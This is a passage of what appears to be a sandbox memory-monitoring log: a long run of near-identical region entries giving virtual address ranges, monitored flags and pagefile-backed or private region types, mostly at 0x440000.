pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1679 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1680 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1681 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1682 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1683 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1684 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1685 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1686 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1687 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1688 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1689 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1690 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1691 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1692 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1693 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1694 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1695 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1696 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1697 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1698 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1699 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1700 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1701 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1702 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1703 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1704 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1705 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1706 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1707 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1708 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1709 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1710 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1711 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1712 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1713 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1714 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1715 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1716 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1717 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1718 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1719 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1720 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1721 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1722 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1723 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1724 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1725 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1726 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1727 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1728 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1729 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1730 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1731 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1732 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1733 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1734 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1735 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1736 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1737 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1738 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1739 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1740 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1741 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1742 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1743 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1744 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1745 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1746 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1747 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1748 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1749 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1750 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1751 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1752 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1753 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1754 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1755 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1756 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1757 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1758 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1759 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1760 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1761 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1762 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1763 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1764 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1765 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1766 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1767 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1768 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1769 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1770 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1771 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1772 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1773 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1774 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1775 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1776 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1777 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1778 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1779 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1780 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1781 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1782 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1783 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1784 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1785 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1786 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1787 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1788 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1789 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1790 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1791 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1792 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1793 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1794 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1795 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1796 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1797 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1798 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1799 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1800 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1801 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1802 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1803 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1804 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1805 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1806 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1807 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1808 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1809 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1810 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1811 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1812 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1813 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1814 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1815 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1816 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1817 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1818 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1819 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1820 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1821 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1822 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1823 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1824 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1825 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1826 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1827 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1828 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1829 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1830 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1831 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1832 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1833 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1834 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1835 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1836 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1837 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1838 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1839 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1840 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1841 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1842 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1843 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1844 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1845 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1846 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1847 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1848 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1849 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1850 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1851 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1852 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1853 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1854 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1855 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1856 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1857 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1858 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1859 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1860 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1861 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1862 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1863 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1864 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1865 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1866 start_va = 0x440000 end_va = 0x44ffff 